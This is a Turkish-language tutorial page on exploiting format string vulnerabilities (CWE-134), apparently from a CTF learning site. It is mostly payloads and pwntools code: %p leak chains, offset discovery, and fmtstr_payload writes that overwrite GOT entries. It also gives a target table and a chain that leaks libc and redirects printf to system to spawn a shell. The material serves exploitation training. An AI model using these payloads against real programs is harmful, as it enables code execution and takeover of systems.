Skip to content

Format String

CWE-134 difficulty: orta

Format string zafiyeti, kullanıcı girdisinin doğrudan bir format fonksiyonuna (printf(user)) format dizesi olarak verilmesiyle oluşur. Saldırgan %x, %s, %n gibi belirteçlerle belleği okuyabilir ve %n ile keyfi adrese yazabilir. ASLR/PIE/canary dünyasında hem leak hem write primitive’dir.

printf(user_input); // YANLIŞ — format = attacker
fprintf(stderr, user_input);
syslog(LOG_ERR, user_input);
// Doğrusu: printf("%s", user_input);
# Stack'ten değer sızdırma (offset bulma)
%p.%p.%p.%p.%p.%p.%p.%p
AAAA.%6$p # 6. argüman = 0x41414141 ise offset=6
%7$s # o konumdaki pointer'ın gösterdiği string
%8$lx # canary / libc adresi adayları
from pwn import *
io = process('./chall')
io.sendline(b'%p.%p.%p.%p.%p.%p.%p.%p')
print(io.recvline())

Bu, ASLR/PIE/canary bypass için gereken adres/canary sızıntısını verir.

from pwn import *
def exec_fmt(payload):
io = process('./chall')
io.sendline(payload)
return io.recvall(timeout=1)
autofmt = FmtStr(exec_fmt)
log.info(f'offset = {autofmt.offset}')

Manuel: AAAA + %N$p ile N’yi artır; 0x41414141 görününce offset = N.

  1. Yazma offset’ini bul — kontrol ettiğin girdinin stack’te kaçıncı argüman konumunda olduğunu %N$p ile tespit et.

  2. Hedef adresi yerleştir — payload başında/sonunda yazmak istediğin adresi koy (endian’a dikkat, x86-64 p64 ).

  3. %n ile yaz — yazılan bayt sayısı = değer; %<sayı>c ile sayacı ayarla, %hn / %hhn ile 2/1 baytlık parçalı yazım. pwntools:

    from pwn import *
    elf = ELF('./chall')
    payload = fmtstr_payload(offset, { elf.got['exit']: elf.sym.win })
    # veya: { elf.got['printf']: libc.sym.system }
  4. Tetikle — ezilen GOT/exit/hook bir sonraki çağrıda yeni hedefe atsın.

Hedef değer: 0x401234
%hhn ile bayt bayt: düşükten yükseğe veya pwntools sıralaması
Her %hhn, o ana kadar printf'in yazdığı karakter sayısının düşük baytını yazar
# Manuel fikir (basitleştirilmiş)
# [addr][addr+1][addr+2]... + padding + %N$hhn ...
writes = { elf.got.puts: win }
payload = fmtstr_payload(6, writes, write_size='byte')
HedefKoşulEtki
GOT (printf/puts/exit)Partial RELROkontrol akışı
saved RIP (stack)stack addr leakdoğrudan ROP
.dtors / .fini_arrayyazılabilirexit’te hijack
__malloc_hook / __free_hookeski glibcsonraki alloc/free
canary (okuma)stack overflow hazırlığı

Full RELRO GOT’u engeller; o durumda stack RIP veya heap/hook alternatiflerine geç.

# 1) libc leak
io.sendline(b'%7$s'.ljust(8, b'A') + p64(elf.got.puts))
# veya positional ile got'u argüman yapacak düzen
# 2) fmtstr_payload ile printf@got → system
payload = fmtstr_payload(offset, { elf.got.printf: libc.sym.system })
io.sendline(payload)
io.sendline(b'/bin/sh') # sonraki "printf" aslında system